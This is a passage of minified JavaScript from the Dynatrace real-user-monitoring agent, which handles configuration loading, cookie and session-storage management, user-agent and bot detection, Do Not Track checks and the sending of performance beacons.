Fd=Gf}if(Fd)for(var Cc in Fd)Object.prototype.hasOwnProperty.call(Fd,Cc)&&(mg=Cc,xc[mg]=Fd[mg]);var sc=yb();try{var uf=(Fd=lg)&&Fd.getItem(sc);if(uf){var Ae=Ha(uf),Md=vb(Ae.config||""),cf=xc.lastModification||"0",df=U((Md.lastModification||Ae.lastModification||"0").substring(0,13)),ug="string"===typeof cf?U(cf.substring(0,13)):cf;if(!cf||df>=ug)if(Md.csu=Ae.name||I("csu"),Md.featureHash=Ae.featureHash||I("featureHash"),Md.agentUri&&Cb(Md),Qb(Md,!0),Ab(Md),jb(Md),df>(xc.lastModification||0)){var Td= Oa("auto"),gj=Oa("legacy");xc=Ba(Md);xc.auto=Td?"1":"0";xc.legacy=gj?"1":"0"}}}catch(Xb){}Qb(xc);try{var Hi=xc.ign;if(Hi&&(new RegExp(Hi)).test(Bb.location.href)){document.dT_=Bb.dT_=void 0;var re=!1;break a}}catch(Xb){}if(mc()){var pi=navigator.userAgent,Yd=pi.lastIndexOf("RuxitSynthetic");if(-1===Yd)var $f={};else{var qf=pi.substring(Yd+14);if(-1===ra(qf," c"))$f={};else{sc={};uf=0;for(var rf=qf.split(" ");uf<rf.length;uf++){var ag=rf[uf];if("c"===ag.charAt(0)){var yf=ag.substring(1),Ch=yf.indexOf("="), Pe=yf.substring(0,Ch),Oh=yf.substring(Ch+1);Pe&&Oh&&(sc[Pe]=Oh)}}$f=sc}}qf=void 0;for(qf in $f)Object.prototype.hasOwnProperty.call($f,qf)&&$f[qf]&&(xc[qf]=$f[qf]);Ba(xc)}re=!0}if(!re)throw Error("Error during config initialization");Pd();try{Ye=Bb.dT_.disabled||!!oa("dtDisabled")}catch(Xb){}var Fg;if(!(Fg=I("agentLocation")))a:{var Vg=I("agentUri");if(Vg||document.currentScript){var F=Vg||document.currentScript.src;if(F){re=F;var P=-1===ra(re,"_bs")&&-1===ra(re,"_bootstrap")&&-1===ra(re,"_complete")? 1:2,da=F.lastIndexOf("/");for(re=0;re<P&&-1!==da;re++)F=F.substring(0,da),da=F.lastIndexOf("/");Fg=F;break a}}var xa=location.pathname;Fg=xa.substring(0,xa.lastIndexOf("/"))}Ff=Fg;Ug=I("csu")||"ruxitagentjs";"true"===ba("dtUseDebugAgent")&&0>Ug.indexOf("dbg")&&(Ug=I("debugName")||Ug+"dbg");if(!Oa("auto")&&!Oa("legacy")&&!Ye){var Qa=I("agentUri")||Of(I("featureHash")),hb;if(!(hb=Oa("async")||"complete"===document.readyState)){var Gb=Bb.navigator.userAgent,Jb=Gb.indexOf("MSIE ");hb=0<Jb?9>=parseInt(Gb.substring(Jb+ 5,Gb.indexOf(".",Jb)),10):!1}if(hb)xf(Qa,Oa("async"),void 0,void 0,"dtjsagent");else{var Rb="".concat("dtjsagent","dw");document.write('<script id="'.concat(Rb,'" type="text/javascript" src="').concat(Qa,'">\x3c/script>'));document.getElementById(Rb)||xf(Qa,Oa("async"),void 0,void 0,"dtjsagent")}}ba("dtCookie")&&ka("cooO",!0);pf();ka("pVO",!!hd("dt-pVO"));ad(od);Df=18E5;Mf=Za("hvt")||216E5;y(Xe,[1]);Sg=[];Xf="dtCookie dtLatC rxvt dtAdk dtAdkSettings dtPC".split(" ");if(Oa("cg"))try{Wc(Object.getOwnPropertyDescriptor(Document.prototype, "cookie")||Object.getOwnPropertyDescriptor(HTMLDocument.prototype,"cookie"))}catch(Xb){}}catch(Xb){try{delete Bb.dT_}catch(Dc){Bb.dT_=void 0}La()&&Bb.console.log("JsAgent initCode initialization failed!",Xb)}})(!1)})()})(); /* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(a){for(var b,d=1,f=arguments.length;d<f;d++){b=arguments[d];for(var l in b)Object.prototype.hasOwnProperty.call(b,l)&&(a[l]=b[l])}return a};return La.apply(this,arguments)}function gb(){return"10243220606153550"}function db(a,b){void 0===b&&(b=[]);var d=mb.dT_;d=(null===d||void 0===d?0:d.iIO)?d.iIO:null;return!(null=== d||void 0===d||!d(a,b))}function Ea(a,b,d){void 0===d&&(d=0);var f=-1;b&&(null===a||void 0===a?0:a.indexOf)&&(f=a.indexOf(b,d));return f}function Ua(a,b){if(!b)return"";var d=a+"=";a=Ea(b,d);if(0>a)return"";for(;0<=a;){if(0===a||" "===b.charAt(a-1)||";"===b.charAt(a-1))return d=a+d.length,a=Ea(b,";",a),0<=a?b.substring(d,a):b.substring(d);a=Ea(b,d,a+d.length)}return""}function Pa(a){return(db(a,9)||za(a))&&("string"===typeof a.textContent||"string"===typeof a.innerText)}function za(a){return a&&a.nodeType&& 1===a.nodeType}function ab(a){return a&&"INPUT"===a.nodeName}function ba(a){return a&&"SCRIPT"===a.nodeName}function Z(a){return!!a.syn}function Aa(a,b){var d;void 0===b&&(b=[]);if(!a||"object"!==typeof a&&"function"!==typeof a)return!1;var f="number"!==typeof b?b:[],l=null,r=[];switch("number"===typeof b?b:5){case 0:l="Array";r.push("push");break;case 1:l="Boolean";break;case 2:l="Number";break;case 3:l="String";break;case 4:l="Function";break;case 5:l="Object";break;case 6:l="Date";r.push("getTime"); break;case 7:l="Error";r.push("name","message");break;case 8:l="Element";break;case 9:l="HTMLElement";break;case 10:l="HTMLImageElement";r.push("complete");break;case 11:l="PerformanceEntry";break;case 12:l="PerformanceTiming";break;case 13:l="PerformanceResourceTiming";break;case 14:l="PerformanceNavigationTiming";break;case 15:l="CSSRule";r.push("cssText","parentStyleSheet");break;case 16:l="CSSStyleSheet";r.push("cssRules","insertRule");break;case 17:l="Request";r.push("url");break;case 18:l="Response"; r.push("ok","status","statusText");break;case 19:l="Set";r.push("add","entries","forEach");break;case 20:l="Map";r.push("set","entries","forEach");break;case 21:l="Worker";r.push("addEventListener","postMessage","terminate");break;case 22:l="XMLHttpRequest";r.push("open","send","setRequestHeader");break;case 23:l="SVGScriptElement";r.push("ownerSVGElement","type");break;case 24:l="HTMLMetaElement";r.push("httpEquiv","content","name");break;case 25:l="HTMLHeadElement";break;case 26:l="ArrayBuffer"; break;case 27:l="ShadowRoot",r.push("host","mode")}b=l;if(!b)return!1;r=r.length?r:f;if(!f.length)try{if(mb[b]&&a instanceof mb[b]||Object.prototype.toString.call(a)==="[object "+b+"]")return!0;if(za(a)){var G=null===(d=a.ownerDocument.defaultView)||void 0===d?void 0:d[b];if("function"===typeof G&&a instanceof G)return!0}}catch(ea){}for(d=0;d<r.length;d++)if(f=r[d],"string"!==typeof f&&"number"!==typeof f&&"symbol"!==typeof f||!(f in a))return!1;return!!r.length}function na(a,b,d){if(d||2===arguments.length)for(var f= 0,l=b.length,r;f<l;f++)!r&&f in b||(r||(r=Array.prototype.slice.call(b,0,f)),r[f]=b[f]);return a.concat(r||Array.prototype.slice.call(b))}function ta(a){return"function"===typeof a&&/{\s+\[native code]/.test(Function.prototype.toString.call(a))}function Ma(a,b){for(var d,f=[],l=2;l<arguments.length;l++)f[l-2]=arguments[l];return void 0!==Function.prototype.bind&&ta(Function.prototype.bind)?(d=Function.prototype.bind).call.apply(d,na([a,b],f,!1)):function(){for(var r=0;r<arguments.length;r++);return a.apply(b, (f||[]).concat(Array.prototype.slice.call(arguments)||[]))}}function Ja(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var a=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return a}function fa(){if(mb.MobileAgent||mb.dynatraceMobile){var a=Ua("dtAdkSettings",document.cookie);return Gg.dT_.p3SC(a).privacyState||null}return null}function S(){var a=fa();return 2===a||1===a?!1:!Gg.dT_.bcv("coo")|| Gg.dT_.bcv("cooO")||Gg.dT_.iSM()}function va(a){try{if(mb.localStorage)return mb.localStorage.getItem(a)}catch(b){}return null}function ja(a){for(var b=[],d=1;d<arguments.length;d++)b[d-1]=arguments[d];return hj?hj(a,b):Mk?Mk(function(){return a.apply(this,b)}):a.apply(this,b)}function U(){if("string"!==typeof document.title){var a=mh("title")[0];return a&&(a.innerText||a.textContent)||""}return document.title}function eb(a,b,d){return a.splice(b,(d||b)-b+1||a.length)}function L(){return gk}function C(){return mb.dT_} function H(){return p}function Q(){var a=document.location;return a?0!==yc(a.href,"http"):!0}function ia(){var a=navigator.userAgent||navigator.vendor||mb.opera&&mb.opera.version()||"";return/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substring(0, 4))}function W(){return"1"===navigator.doNotTrack||"yes"===navigator.doNotTrack||"1"===navigator.msDoNotTrack||"1"===mb.doNotTrack}function la(){return/(gomezagent|googlebot|adsbot-google|mediapartners-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|sogou|exabot|facebot|facebookexternalhit|ia_archiver)/i.test(navigator.userAgent)}function ua(a){return z&&db(a,13)&&"navigation"!==a.entryType||db(a,["_dtCl"])}function Ka(a){return T&&db(a,14)||db(a,["entryType","requestStart"])&&"navigation"=== a.entryType}function Hb(a){var b;if(!a)return null;var d=null===(b=a.getEntriesByType)||void 0===b?void 0:b.call(a,"navigation")[0];Ka(d)||(d=a.timing);return d}function ib(a,b){void 0===b&&(b=!1);if(!a)return null;for(var d,f=qa(a),l=0,r=ub;l<r.length;l++)if(d=aa(a,r[l],b)||-1,0<d&&d!==f)return Math.round(d);return null}function aa(a,b,d){void 0===d&&(d=!1);var f=Hb(a);if(!f)return null;b=f[b];if("number"!==typeof b||0===b)return null;a=qa(a);Ka(f)?d&&(b+=a):d||(b-=a);return Math.round(b)}function qa(a){var b; return Math.round(a.timeOrigin||(null===(b=a.timing)||void 0===b?void 0:b.navigationStart)||-1)}function V(){return Mb}function pa(){return Kb}function Va(){return de}function nb(){return Be}function lb(){return ge}function jb(){return Nd}function Ab(a,b){a?a.id===a.ta()&&(Aj=a):Aj=b?null:Aj}function gc(a){return a?nn?nn.call(a):a.replace(/^\s+|\s+$/g,""):""}function Vb(a){try{var b=a.tagUrn;return b&&-1!==yc(b,"schemas-microsoft-com:vml")}catch(d){return!0}}function Ha(a){if(!a||-1===a.indexOf("://"))return""; a=a.split("/")[2].split(":")[0].toLowerCase();a:{var b=0;for(var d=co;b<d.length;b++)if(0<=a.indexOf(d[b])){b=!0;break a}b=!1}return b?"":a}function yb(a){var b=0;if(a)for(var d=a.length,f=0;f<d;f++)b=31*b+a.charCodeAt(f),b&=b;return b}function vb(a,b,d){hj(ca,[a,b,d])}function ca(a,b,d){try{mb.sessionStorage.setItem(a,String(b))}catch(f){d||lf(a,String(b),void 0,hc("ssc"))}}function Oa(a,b,d){void 0===d&&(d=!0);var f=!0;try{mb.localStorage[a]=b}catch(l){f=!1,d&&lf(a,b,void 0,hc("ssc"))}return f} function Za(a,b){try{return mb.sessionStorage[a]||""}catch(d){}return b?"":ng(a)}function I(a){var b=[];if(a)for(var d=0;d<a.length;d++){var f=a.charAt(d),l=Qm[f];l?Ob(b,l):Ob(b,f)}return b.join("")}function ka(a){if(!a)return"";for(var b="",d=0;d<a.length;d++){var f=on[a.charAt(d)+a.charAt(d+1)];f?(b+=f,d++):b+=a.charAt(d)}return b}function Ba(a){return a?ka(a).replace(/_5F/g,"_").replace(/_25/g,"%").replace(/_7C/g,"|"):""}function $a(a){if(!a)return"";a=a.replace(/_/g,"_5F").replace(/%/g,"_25").replace(/\|/g, "_7C");return I(a)}function Cb(a){var b=[],d="";"string"===typeof a?d=a:"object"===typeof a&&a&&(d=a.toString());a=Xc("spc")+"\t\n\r";for(var f=0;f<d.length;f++){var l=d.charAt(f);-1===yc(a,l)&&Ob(b,l)}return b.join("")}function bd(){var a=mb.location;if(a){a=a.href;var b=yc(a,"#");0<=b&&(a=a.substring(0,b));return a}return"-"}function Qb(a,b){a=Math.round(a);(b||de)&&0<a&&lf("dtLatC",String(a),void 0,hc("ssc"));return a}function Zb(a,b,d,f,l){return q(a,b,d,f,!1,l)}function q(a,b,d,f,l,r){void 0=== r&&(r="win");try{var G=Ph[r]||{};G[b]=a[b];Ph[r]=G;Object.defineProperty(a,b,{get:d||function(){return G[b]},set:function(ea){G[b]=ea;f&&(ea||l)&&f.apply(a,[ea])},configurable:!0});return!0}catch(ea){}return!1}function D(a,b,d,f){if((f=f||a[b])&&Object.defineProperty&&(!p.ie||8<p.ie)){var l=d||"win";try{delete a[b]&&(a[b]=f,Ph[l]&&(Ph[l][b]=null))}catch(r){try{Object.defineProperty(a,b,{get:function(){return Ph[l]&&Ph[l][b]},configurable:!0})}catch(G){}}}}function t(a){lf("dtUseDebugAgent",a,void 0, hc("ssc"))}function y(a){lf("dt_dbg_console",a,void 0,hc("ssc"))}function Y(a){void 0===a&&(a="TRACE");lf("dt_dbg_logfilter","level=".concat(a,"|featureHash=|fileName="),void 0,hc("ssc"))}function x(a){var b=a.match(/:([0-9]+)/);return b?b[1]:0===yc(a,"https")?"443":"80"}function oa(a){if(!a)return!1;a=gc(a).toLowerCase();0===a.indexOf("//")&&(a=location.protocol+a);var b=0===yc(location.href,"http");if(0!==yc(a,"http")||!b)return!1;if(yc(location.href,location.host)!==yc(a,location.host.toLowerCase()))return!0; b=location.port||x(location.href);return x(a)!==b}function R(a){try{var b=document.createElement("a");b.href=a;return b.cloneNode(!0).href}catch(d){return a}}function O(){try{return p.ie||p.edge?encodeURI(mb.location.href):mb.location.href}catch(a){}return""}function wa(a){if(!a)return"";try{var b=void 0,d=R(a);if(!mb.location)return d;var f=mb.location,l=f.origin;if(!l){if(!f.protocol||!f.host)return d;l=f.protocol+"//"+f.host}var r=b=d.substring(0,l.length+1).toLowerCase()===(l+"/").toLowerCase()? d.substring(l.length):d}catch(G){r=a,0===yc(a,"?")&&(r=mb.location.pathname+a)}return Ga(r,500)}function Ga(a,b,d,f){void 0===b&&(b=100);void 0===d&&(d=!1);void 0===f&&(f="...");return!a||a.length<=b?a:d?f+a.substring(Math.max(0,a.length-b+f.length)):a.substring(0,Math.max(0,b-f.length))+f}function Wa(a){var b=Tc("sl");return Ga(a,b)}function Eb(a,b,d){return a.apply(b,d||[])}function Lb(a,b,d,f){if(d)if(d=Ga(d,Tc("mhl")),a[f].set){var l=a[f].set(b,d);l&&l.get&&l.get(b)===d&&(a[f]=l)}else a[f][b]= d}function Nb(a){return Object.getPrototypeOf?Object.getPrototypeOf(a):Object.__proto__===Object.prototype&&Array.__proto__===Array.prototype?a.__proto__:a.constructor?a.constructor.prototype:void 0}function ac(a){return Ra(a,"prototype")?a.prototype:Nb(a)}function rc(a){return a?a.split("?")[0]:""}function mc(){var a=qi();if(a){var b=yc(a,"-");a=-1===b?"":a.substring(0,b);if(a){b="";for(var d=0;d+1<a.length;d+=2)b+=String(a.charCodeAt(d)+a.charCodeAt(d+1));a=Math.floor(Math.abs(1E7*Math.sin(parseInt(b, 10))))}else a=0}else a=!1;return a}function Oc(){var a=Ii();return 3===a?!0:4===a?!1:!!Tc("rdnt")&&W()}function Kc(a,b,d){if(!a||!b)return[];for(var f=[],l=0;l<a.length;l+=b){if(l+b<=a.length){var r=a.slice(l,l+b);"%"===r.charAt(r.length-1)&&a.length>=l+b+1&&(r+=a.charAt(l+b),r+=a.charAt(l+b+1),l+=2);"%"===r.charAt(r.length-2)&&a.length>=l+b+2&&(r+=a.charAt(l+b),l+=1)}else r=a.slice(l);f.push(r)}if(d)for(a=f.length,b=0;b<a;b++)f[b]=d.replace(/#index#/,String(b+1)).replace(/#total#/,String(a))+f[b]; return f}function gd(a){return Array.prototype.slice.call(a)}function ma(a){return!1===a?0:"number"===typeof a?2:1}function Ca(a,b){void 0===b&&(b=Tc("rtu"));if(!a)return"";var d=Tc("rtp");if(!d||a.length>b&&2===d)a=rc(a);var f=$a(a);if(f.length>b){d=$a(Ha(a));a=a.split("/");a=a[a.length-1];var l=$a(a);if(l!==d){if(f=d+"/../"+l,b=f.length-b,0<b)if(l.length>b){b=Math.max(l.length-(b+2),0);f=Math.max(a.length-b,0);for(l=$a(a.substring(f,a.length));l.length>b;)f+=Math.ceil((l.length-b)/3),l=$a(a.substring(f, a.length));f=d+"/../.."+l}else f=Ga(d,b,!1,".../")+l}else f=Ga(f,b,!0)}return f}function Ra(a,b){return Object.prototype.hasOwnProperty.call(a,b)}function Sa(a,b){void 0===b&&(b=qa(mb.performance));var d=1E3*Tc("oat");return b+d>=a?a:-2}function Db(){return C().disabled&&!Z(C())}function Yb(){Z(C())||(vb("dtDisabled",!0),C().disabled=!0)}function Na(a,b){return hk(a,b)||oe(a)||""}function oc(a){if(Object.keys)return Object.keys(a);var b=[];if(a===Object(a))for(var d in a)Ra(a,d)&&b.push(d);return b} function rb(a,b){a=Bj[a];-1<mf(a,b)||Ob(a,b)}function wb(a,b){a=Bj[a];b=mf(a,b);-1!==b&&eb(a,b)}function pc(a){for(var b=[],d=0,f=Bj[a.kind].slice();d<f.length;d++){var l=(0,f[d])(a);l&&(Ue(l,0)?b=b.concat(l):Ob(b,l))}return b}function Sc(){var a=gk,b=gb();a!==b&&rb("DEBUG_INFO_REQUESTED",function(){return{type:"miav",severity:"Warning",text:"Snippet version(".concat(a,") does not match the version of the monitoring code(").concat(b,"). Consider updating your code snippet for best compatibility.")}}); rb("DEBUG_INFO_REQUESTED",function(){return{type:"v",severity:"Info",text:"Snippet version: ".concat(a," ; Monitoring code:").concat(gb())}})}function ed(){for(var a=Ze.oa.length-1;0<=a;a--){var b=Ze.oa[a];if(b.$b()&&!b.ma||b.ma&&b.We())return b}return null}function $b(a){return Ze.actions[a]}function Ac(a,b,d,f,l,r){void 0===l&&(l=!1);void 0===r&&(r=!1);if(l)Nc(a,b,d,f,r);else{try{for(l=0;l<a.length;l++)b.call(d,a[l],l,a,function(){})}catch(ea){var G=ea}if(f)G?f.call(d,a,G):f.call(d,a);else if(G)throw G; }}function Ic(a,b,d,f,l){void 0===f&&(f=!1);void 0===l&&(l=!1);return new ra(function(r,G){Ac(a,b,d,function(ea,ya){ya?G(ya):r(ea)},f,l)})}function Nc(a,b,d,f,l){function r(Tb){pb=Tb;qd(function(){G(Tb,ya)})}function G(Tb,Hc){if(!zb){try{4>b.length&&ob++;var zc=b.call(d,Hc[Tb],Tb,Hc,function(){function Pc(Dh){pb=Dh;qd(function(){G(Dh,ya)})}ob++;ob===Hc.length&&ea();for(var Ke=pb+1;Ke<Hc.length;Ke++)Pc(Ke)})}catch(Pc){var Ad=Pc;zc=!1}Tb=function(Pc){pb=Pc;qd(function(){G(Pc,ya)})};for(var Zd=pb+1;Zd< Hc.length;Zd++)Tb(Zd);(!1===zc||Ad)&&ea(Ad);ob!==Hc.length||zb||ea()}}function ea(Tb){f&&!zb&&(f.apply(d,Tb?[ya,Tb]:[ya]),zb=!0)}void 0===l&&(l=!1);var ya=l?a:Array.prototype.slice.call(a),ob=0,zb=!1,pb=0;for(a=0;a<ya.length;a++)r(a);ob===ya.length&&qd(ea)}function qd(a){om||(om=!0,Zc(function(){om=!1;var b=ul;ul=[];for(var d=kc(),f=0;f<b.length&&35>kc()-d;)b[f](),f++;for(d=f;d<b.length;d++)qd(b[d])},0));ul.push(a)}function ad(a,b){if(ta(Array.prototype.filter))return Array.prototype.filter.call(a, b);for(var d=[],f=0;f<a.length;f++){var l=a[f];b(l,f,a)&&d.push(l)}return d}function dc(a,b,d,f){void 0===f&&(f=!1);return d?new ra(function(l,r){var G=[];Ac(a,function(ea,ya){b(ea,ya,a)&&G.push(ea)},null,function(ea,ya){ya?r(G):l(G)},d,f)}):ra.resolve(ad(a,b))}function Lc(){return vl}function jd(a){a=I(a);-1===mf(pm,a)&&Ob(pm,a)}function bc(a){return-1!==mf(pm,a)}function ic(){var a=C();try{for(var b=n;b&&b!=mb;){var d=b.dT_;if(d&&"ea"in d&&d.version===gb())return d.tdto();d&&"ea"in d&&(Ji[d.version]= 1);b=b!==b.parent?b.parent:void 0}}catch(f){}return a}function Pd(){return!Ki}function af(a,b,d,f){b=ad(oc(Ji),Se);Cj.push.apply(Cj,b);0<b.length&&(b.unshift(gb()),a.av(f,"afv",b.join(",")));Ji={}}function Se(a){return 0>mf(Cj,a)}function Qd(){Ji={};try{if(n&&n!=mb){var a=n.dT_;if(a){var b=a.version;b===gb()?(Wg=a,Ki=Wg.tdto()):Ji[b]=1}}}catch(d){}Qe(af);a=C();Ki?(vl=Ki.pageId,a.Jd=Ki.Jd,Vl=Wg.gFId(),Wg.hi++):(vl=bg(),a.Jd=U());a.pageId=vl;rb("DEBUG_INFO_REQUESTED",function(){ic();var d=oc(Ji);return 0=== d.length?null:{severity:"Error",text:"Version of current agent ".concat(gb()," mismatches with version").concat(1<d.length?"s":""," ").concat(d.join(", ")," of parent frames. Make sure to use the same version on all frames to secure compatibility!"),type:"mpv"}})}function ke(){var a=ic();if(a===C()||!a.gITAID)return Wl++;a=a.gITAID();Wl=a+1;return a}function Wc(a){return a.id}function Te(){return!ed()}function Bd(a){return(a=$b(a))&&a.Ma?a:null}function Rd(a){return(a="number"===typeof a?Bd(a):a)? a.La():""}function Xe(a,b,d){var f=Nd;d&&(f=$b(d));if(!f)return!1;f.Ne(a,b);return!0}function ye(){var a=og(!0);if(0<a.length){for(var b=[],d=0;d<a.length;d++){var f=a[d];f.frameId!==bg()&&Ob(b,f)}ij(b)}}function zd(a){if(!a)return"";var b=bg()+"h"+a,d=document.cookie,f=hk("dtPC",d);return hc("dASXH")&&f&&0<=yc(f,b)&&!Q()?"":Li()+"$"+bg()+"h"+a+"v"+qi(d)+"e0"}function ze(a){for(var b=nh.length-1;0<=b;b--)if(nh[b]===a){eb(nh,b);break}}function ne(a){if(0<Dj||a&&0<nh.length)if(a=nh.length,0<a)return nh[a- 1];return 0}function vd(a){return a&&1===a.length?-1!==yc(Xc("featureHash"),a):!1}function He(a,b,d,f){void 0===f&&(f=ve(a));var l=mb.dT_,r=Z(C());b=b||!r;a=r&&-1===yc(l.iMod(),a);return b&&d&&(f||a)}function ve(a){var b=mb.dT_;if(b.ism(a)&&-1===yc(b.iMod(),a))return b.iMod(a),!0;b.ism(a)&&(a='Module "'+a+'" already enabled!',Qh()&&mb.console.log("WARNING: "+a));return!1}function u(a){var b=Pf.initializedModules||"";a&&(b+=a);return Pf.initializedModules=b}function E(a,b){void 0===b&&(b=gb());var d= Xc("agentUri");d=d.substring(0,d.lastIndexOf("/"));var f=Xc("csu");"true"===ng("dtUseDebugAgent")&&mb.dT_debugger&&0>f.indexOf("dbg")&&(f=Xc("debugName")||f+"dbg");return"".concat(d,"/").concat(f,"_").concat(a,"_").concat(b,".js")}function N(a){return Pf[a]}function ha(a,b){Pf[a]=String(b)}function sa(a,b,d){if(ta(Array.prototype.reduce))return Array.prototype.reduce.call(a,b,d);var f="undefined"!==typeof d;d=f?d:a[0];if("undefined"===typeof d)throw new TypeError("Reduce of empty array with no initial value"); for(f=f?0:1;f<a.length;f++)d=b(d,a[f],f,a);return d}function Ia(a,b,d,f){var l=ef()+Math.round(d.startTime),r=l-a;l>=a&&l<=b&&0<=r&&(null==f.Ia||r<f.Eb)&&(f.Ia=d,f.Eb=r)}function bb(a,b,d){return sa(a,function(f,l){Ia(b,d,l,f);return f},{Ia:null,Eb:Number.MAX_VALUE}).Ia}function cb(a,b){return ad(a,function(d){return d.initiatorType===b})}function Fb(a,b,d,f){try{if(!(a&&performance&&performance.getEntriesByName))return null;var l=R(a);0===yc(l,"/")?l=location.protocol+"//"+location.host+l:0!==yc(l, "http")&&(l=location.href.substring(0,location.href.lastIndexOf("/")+1)+l);var r=performance.getEntriesByName(l);b&&(r=cb(r,b));if(r.length)return d?bb(r,d,f||Number.MAX_VALUE):r[r.length-1];r=performance.getEntriesByType("resource");b&&(r=cb(r,b));-1===l.indexOf("?")&&(l+="?");for(var G={Ia:null,Eb:Number.MAX_VALUE},ea=r.length-1;0<=ea;ea--){var ya=r[ea];if(0===ya.name.lastIndexOf(l,0))if(d)Ia(d,f||Number.MAX_VALUE,ya,G);else return ya}return G.Ia}catch(ob){return null}}function Ib(a){try{var b= Fb(a,"xmlhttprequest");if(ua(b)){var d=(b.requestStart-(b.redirectEnd||b.startTime))/2;0<d&&Qb(d);return!0}}catch(f){}return!1}function fc(a,b,d,f){function l(){}function r(){}var G=a.path,ea=a.Ka,ya=a.async,ob=kc();f&&(r=function(zb){return function(pb){if(Eh)for(var Tb=0,Hc=Eh();Tb<Hc.length;Tb++)(0,Hc[Tb])(b,"success",pb);Tb=kc()-zb;Ib(G)||Qb(Tb/2);Tb=pb&&pb.split("|");for(Hc=1;Hc<Tb.length;Hc++){var zc=Tb[Hc].split("=");if("dtCookie"===zc[0]||"sn"===zc[0]){if(zc=decodeURIComponent(zc[1]),Mi(zc)){jj(zc); try{mb.sessionStorage&&mb.sessionStorage.removeItem("dtCookie")}catch(kj){}}}else if("name"===zc[0]){zc=void 0;var Ad=pb;if(mb.localStorage)try{var Zd=Cd(),Pc=mb.localStorage.getItem(Zd),Ke=Xc("cuc"),Dh=0;if(Pc){var Ve=cg(Pc),Qf=Ni(Ve.config||"",Ve);Ve.name&&(Qf.csu=Ve.name);Dh=$d(Qf.lastModification||"0")}var ri=cg(Ad),sf=Ni(ri.config||"");if(!Ke||!sf.cuc||Ke===sf.cuc){sf.csu=ri.name||Xc("csu");var ff=$d(sf.lastModification||"0");ff>Dh&&(mb.localStorage.setItem(Zd,Ad),wl(sf),Ej(sf,!0),Nk(sf),Fj(sf), ff>(Pf.lastModification||0)&&(Pf=Xl(sf),pc((zc={},zc.kind="CONFIG_UPDATE",zc.detail=Pf,zc))))}}catch(kj){}}else"enabled"===zc[0]&&"false"===zc[1]&&Yb()}}}(ob),l=function(zb){if(Eh)for(var pb=0,Tb=Eh();pb<Tb.length;pb++)(0,Tb[pb])(b,"fail",zb);qm++;if(p.sf||p.msf){if(oh.length)for(zb=kc(),pb=0;pb<oh.length;pb++)oh[pb].time<zb&&oh.splice(pb--);Ob(oh,{path:G,data:ea,time:kc()})}if(!se)try{if(mb.localStorage){var Hc=Cd();mb.localStorage.removeItem(Hc)}}catch(zc){}});if("onreadystatechange"in d){if(d.onreadystatechange= Ec(b,r,l,a),ya&&"timeout"in d&&"ontimeout"in d&&(a=Tc("xt")))d.timeout=a,d.ontimeout=ld(a)}else d.timeout=Tc("xt"),d.onload=function(){r(this.responseText)},d.onprogress=function(){},d.ontimeout=function(){}}function Ec(a,b,d,f){return function(){var l=f.vc,r=f.wc;if(4===this.readyState)try{if(200===this.status)b(this.responseText);else if(429===this.status){for(var 